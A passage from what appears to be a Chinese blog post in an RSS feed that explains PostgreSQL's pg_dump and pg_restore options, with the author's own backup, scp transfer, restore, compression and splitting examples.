/>输出纯文本SQL脚本文件（缺省） <br /><br />t<br />输出适合输入到 pg_restore 里的tar归档文件。 使用这个归档允许在恢复数据库时重新排序和/或把数据库对象排除在外。 同时也可能可以在恢复的时候限制对哪些数据进行恢复。 <br /><br />c<br />输出适于给 pg_restore 用的客户化归档。 这是最灵活的格式，它允许对装载的数据和对象定义进行重新排列。 这个格式缺省的时候是压缩的。 <br /><br />-i<br />--ignore-version<br />忽略在 pg_dump 和数据库服务器之间的版本差别。 <br /><br />pg_dump 可以处理来自以前版本的PostgreSQL 的数据库，但是太老的版本则不被支持了（目前是支持到 7.0）。 如果你需要跨越版本检查时才使用这个选项（ 而且如 pg_dump 失效，别说我没警告你）。 <br /><br />-n namespace<br />--schema=schema<br />只转储 schema 的内容。 如果没有声明这个选项，所有目标数据库中的非系统模式都会被转储出来。 <br /><br />注意: 在这个模式里，pg_dump 并不试图转储任何其它选定模式可能依赖的数据库对象。 因此，系统不保证单一的一个模式的转储就可以成功地恢复到一个干净的数据库中去。 <br /><br />-o<br />--oids<br />作为数据的一部分，为每个表都输出对象标识（OID）。 如果你的应用在某种程度上引用了OID字段的话，（比如，在外键约束中用到）。 那么使用这个选项。否则，不应该使用这个选项。 <br /><br />-O<br />--no-owner<br />不 把对象的所有权设置为对应源数据库。 通常， pg_dump 发出（psql特有的） ALTER OWNER 或者 SET SESSION AUTHORIZATION 语句以设置创建的数据库对象的所有权。 又见 -R 和 -X use-set-session-authorization 选项。 请注意 -O 并不防止所有对数据库的重新联接， 只是防止那些为调整权限进行的排它联接。 <br /><br />这个选项只是对纯文本格式有意义。对于归档格式，在你调用 pg_restore 的时候你可以声明该选项。 <br /><br />-R<br />--no-reconnect<br />这个选项已经过时，但是出于向下兼容的考虑，仍然接受这个选项。 <br /><br />-s<br />--schema-only<br />只输出对象定义（模式），不输出数据。 <br /><br />-S username<br />--superuser=username<br />声明关闭触发器时需要用到的超级用户名。 它只有使用了 --disable-triggers 的时候才有关系。 （通常，我们最好不要输入这个参数，而是用超级用户启动生成的脚本。） <br /><br />-t table<br />--table=table<br />只输出表 table的数据。 很可能是在不同模式里面有多个同名表；如果这样，那么所有匹配的表都将被转储出来。 同时声明 --schema 和 --table 则只选择一个表。 <br /><br />注意: 在这个模式里，pg_dump 并不试图转储任何其它选定表可能依赖的数据库对象。 因此，系统不保证单一的一个表的转储就可以成功地恢复到一个干净的数据库中去。 <br /><br />-v<br />--verbose<br />声明冗余模式。 这样将令 pg_dump 输出详细的对象评注以及转储文件的启停时间和进度信息到标准输出上。 <br /><br />-x<br />--no-privileges<br />--no-acl<br />避免输出 ACL（赋予/撤消 命令）和表的所有者关系信息。 <br /><br />-X disable-dollar-quoting<br />--disable-dollar-quoting<br />这个选项关闭使用美元符包围函数体。强制它们用 SQL 标准的字串语法的引号包围。 <br /><br />-X disable-triggers<br />--disable-triggers<br />这个选项只是和创建仅有数据的转储相关。它告诉 pg_dump 包含在恢复数据时，临时关闭目标表上面的触发器的命令。 如果你在表上有参考完整性检查或者其它触发器，而恢复数据的时候你不想重载他们，那么你就应该使用这个选项。 <br /><br />目前，为 --disable-triggers 发出的命令必须用超级用户来做。 因此，你应该同时用 -S 声明一个超级用户名，或者最好是用一个超级用户的身份来启动这个生成的脚本。 <br /><br />这个选项只对纯文本格式有意义。对于归档格式，你可以在调用 pg_restore 的时候声明这个选项。 <br /><br />-X use-set-session-authorization<br />--use-set-session-authorization<br />输出 SQL 标准 SET SESSION AUTHORIZATION 命令而不是 OWNER TO 命令。 这样的转储结果更加复合标准，但是依赖转储中的对象的历史，可能不能正确恢复。 <br /><br />-Z 0..9<br />--compress=0..9<br />声明在那些支持压缩的格式中使用的压缩级别。 （目前只有客户化格式支持压缩）。 <br /><br />下面的命令行参数控制数据库为联接参数。 <br />-h host<br />--host=host<br />声明运行服务器的机器的主机名。 如果数值以斜杠开头，则它被用做到 Unix 域套接字的路径。 缺省是从 PGHOST 环境变量中取得的，如果设置了这个环境变量的话，否则，尝试一个 Unix 域套接字连接。 <br /><br />-p port<br />--port=port<br />声明服务器正在侦听并等待联接的 TCP 端口或本地 Unix 主控套接字文件句柄。 缺省时使用环境变量 PGPORT 的值（如果存在），或者是编译时的缺省值。 <br /><br />-U username<br />以给出用户身分联接。 <br /><br />-W<br />强制口令提示。如果服务器需要口令认证，那么这个动作应该自动发生。<br /><br /><span style="color: #ff0000">pg_restore</span> --&nbsp;&nbsp;从一个由 pg_dump 创建的备份文件中恢复 PostgreSQL 数据库。<br />pg_restore 接受下列命令行参数。 <br /><br />filename<br />声明要恢复的备份文件的位置。如果没有声明，则使用标准输入。 <br /><br />-a<br />--data-only<br />只恢复数据，而不恢复表模式（数据定义）。 <br /><br />-c<br />--clean<br />创建数据库对象前先清理（删除）它们。 <br /><br />-C<br />--create<br />在恢复数据库之前先创建它。（如果出现了这个选项，和 -d 在一起的数据库名只是用于发出最初的CREATE DATABASE命令。 所有数据都恢复到名字出现在归档中的数据库中去。） <br /><br />-d dbname<br />--dbname=dbname<br />与数据库 dbname 联接并且直接恢复到该数据库中。 <br /><br />-e<br />--exit-on-error<br />如果在向数据库发送 SQL 命令的时候碰到错误，则退出。 缺省是继续执行并且在恢复结束时显示一个错误计数。 <br /><br />-f filename<br />--file=filename<br />声明生成的脚本的输出文件，或者出现-l 选项时用于列表的文件，缺省是标准输出。 <br /><br />-F format<br />--format=format<br />声明备份文件的格式。因为pg_restore 会自动判断格式，所以如果声明了，它可以是下面之一： <br /><br />t<br />备份是一个 tar 归档。 使用这个格式允许在恢复数据库的时候重新排序和/或把表模式元素排除出去。 同时还可能在恢复的时候限制装载的数据。 <br /><br />c<br />备份的格式是来自pg_dump的客户化格式。 这是最灵活的格式，因为它允许重新对数据排序，也允许重载表模式元素。 缺省时这个格式是压缩的。 <br /><br /><br />-i<br />--ignore-version<br />忽略数据库版本检查。 <br /><br />-I index<br />--index=index<br />只恢复命名的索引。 <br /><br />-l<br />--list<br />列出备份的内容。这个操作的输出可以用 -L 选项限制和重排所恢复的项目。 <br /><br />-L list-file<br />--use-list=list-file<br />只恢复在 list-file 里面的元素，以它们在文件中出现的顺序。 你可以移动各个行并且也可以通过在行开头放 ';' 的方式注释。（见下文获取例子。） <br /><br />-O<br />--no-owner<br />不 要输出设置对象的权限，以便与最初的数据库匹配的命令。 缺省时，pg_restore 发出 ALTER OWNER 或 SET SESSION AUTHORIZATION 语句设置创建出来的模式元素的所有者权限。 如果最初的数据库连接不是由超级用户（或者是拥有所有创建出来的对象的同一个用户）发起的，那么这些语句将失败。 使用 -O，那么任何用户都可以用于初始的连接，并且这个用户将拥有所有创建出来的对象。 <br /><br />-P function-name(argtype [, ...])<br />--function=function-name(argtype [, ...])<br />只恢复指定的命名函数。请注意仔细拼写函数名及其参数，应该和转储的内容列表中的完全一样。 <br /><br />-R<br />--no-reconnect<br />这个选项已经废弃了，但是为了保持向下兼容仍然接受。 <br /><br />-s<br />--schema-only<br />只恢复表结构（数据定义）。不恢复数据，序列值将重置。 <br /><br />-S username<br />--superuser=username<br />设置关闭触发器时声明超级用户的用户名。 只有在设置了 --disable-triggers 的时候才有用。 <br /><br />-t table<br />--table=table<br />只恢复表指定的表的定义和/或数据。 <br /><br />-T trigger<br />--trigger=trigger<br />只恢复指定的触发器。 <br /><br />-v<br />--verbose<br />声明冗余模式。 <br /><br />-x<br />--no-privileges<br />--no-acl<br />避免 ACL 的恢复（grant/revoke 命令）。 <br /><br />-X use-set-session-authorization<br />--use-set-session-authorization<br />输出 SQL 标准的 SET SESSION AUTHORIZATION 命令，而不是 OWNER TO 命令。 这样令转储与标准兼容的更好，但是根据转储中对象的历史，这个转储可能不能恰当地恢复。 <br /><br />-X disable-triggers<br />--disable-triggers<br />这个选项只有在执行仅恢复数据的时候才相关。它告诉 pg_restore 在装载数据的时候执行一些命令临时关闭在目标表上的触发器。 如果你在表上有完整性检查或者其它触发器， 而你又不希望在装载数据的时候激活它们，那么可以使用这个选项。 <br /><br />目 前，为 --disable-triggers 发出的命令必须以超级用户发出。 因此，你应该也要用 -S 声明一个超级用户名，或者更好是设置 --use-set-session-authorization 并且以 PostgreSQL 超级用户身份运行 pg_restore。 <br /><br />pg_restore 还接受下面的命令行参数做为联接参数： <br /><br />-h host<br />--host=host<br />声明服务器运行的机器的主机名。 如果数值以斜杠开头，那么它被用做 Unix 域套接字的目录。 缺省是从 PGHOST 环境变量中获取的（如果设置了）， 否则将尝试进行 Unix 域套接字。 <br /><br />-p port<br />--port=port<br />声明服务器侦听的 TCP 端口或者本地的 Unix 域套接字文件扩展。 缺省是环境变量 PGPORT 的值（如果设置了的话）， 否则就说编译的缺省。 <br /><br />-U username<br />以给出用户身分联接。 <br /><br />-W<br />强制给出口令提示。如果服务器要求口令认证，那么这个应该自动发生。<br /><br /><b>理论说完了，有了上面的知识下面进行实战变得容易：</b><br /><br />DBコッピ<br />/usr/local/pgsql/bin/pg_dump -Ft -b zhoz &gt; /home/zhoz/db_zhoz_081121.tar<br /><br />移動<br /><span style="color: #ff0000">scp</span> -v /home/zhoz/db_zhoz_081121.tar zhoz@zhoz.com:/home/zhoz/<br /><br />SCP也是新学到的，很强大！参数也收集了一下：<br />-v 和大多数linux命令中的-v意思一样,用来显示进度.可以用来查看连接,认证,或是配置错误. <br />-C 使能压缩选项. <br />-r 复制文件夹<br />-P 选择端口.注意-p已经被rcp使用. <br />-4 强行使用IPV4地址. <br />-6 强行使用IPV6地址. <br /><br />エクスポート<br />/usr/local/pgsql/bin/pg_restore -d zhoz -U zhoz -W /home/zhoz/logs/db_zhoz_081121.tar<br />这里如果不指定-U会提示数据库不存在或导入非指定的库中，有危险性。<br /><br />至此，打完收工！又掌握了一种实战技术。<br /><br /><span style="color: #ff0000">「2009/06/23补充：」</span><br />pg_dumpall &gt; outfile<br />生成的转储可以用 psql 恢复：<br /><br />psql template1 &lt; infile<br />（实际上，你可以声明任意现有的数据库进行连接，但是如果你是向一个空的数据库装载，那么 template1 是你唯一的选择。） 恢复pg_dumpall的转储的时候通常需要数据库超级用户权限，因为我们需要它来恢复用户和组信息。<br /><br />&nbsp;&nbsp; <b>处理大数据库</b><br /><br />&nbsp;&nbsp;&nbsp;&nbsp; 因为 PostgreSQL 允许表的大小大于你的系统允许的最大文件大小， 可能把表转储到一个文件会有问题，因为生成的文件很可能比你的系统允许的最大文件大。 因为 pg_dump 输出到标准输出，你可以用标准的 Unix 工具绕开这个问题：<br /><br />使用压缩的转储. 使用你熟悉的压缩程序，比如说 gzip。<br /><br /><br />&nbsp;</p><div class="code">pg_dump dbname &#124; gzip &gt; filename.gz<br />用下面命令恢复：<br /><br />createdb dbname<br />gunzip -c filename.gz &#124; psql dbname<br />或者<br /><br />cat filename.gz &#124; gunzip &#124; psql dbname</div><p><br /><br />split 命令允许你 你用下面的方法把输出分解成操作系统可以接受的大小。 比如，让每个块大小为 1 兆字节：<br /><br />pg_dump dbname &#124; split -b 1m - filename<br />用下面命令恢复：<br /><br />createdb dbname<br />cat filename* &#124; psql dbname<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;使 用客户化转储格式. 如果PostgreSQL是在一个安装了zlib 压缩库的系统上制作的，那么客户化转储格式将在写入输出文件的时候压缩数据。 它会生成和使用 gzip 类似大小的转储文件，但是还附加了一个优点：你可以有选择地恢复库中的表。 下面的命令用客户化转储格式转储一个数据库：<br /><br />pg_dump -Fc dbname &gt; filename<br />客户化格式的转储不是脚本，不能用于 psql， 而是需要使用 pg_restore 转储。 请参考 pg_dump 和 pg_restore 的手册获取细节。</p><p>&nbsp;</p><p>&nbsp;</p><p>备份：pg_dump -h localhost -p 5432 -U tradesns -W -F c -b -v -f &quot;/home/tradeworkwangbin/us2010.backup&quot; us2010<br />恢复：pg_restore -h 192.168.0.100 -p 5432 -U postgres -W -d us2011 -v &quot;/root/us2010.backup&quot;</p><p><br /><b>注意</b><br />处于向下兼容的考虑，缺省的时候 pg_dump 并不转储大对象。 要转储大对象，你必须使用客户化或者 tar输出格式， 并且在 pg_dump 中使用-b选项。<br /><br />&nbsp;</p><br/>Tags - <a href="http://www.yy520.net/tags/pg_dump/" rel="tag">pg dump</a>
]]>
</description>
</item>
</channel>
</rss>
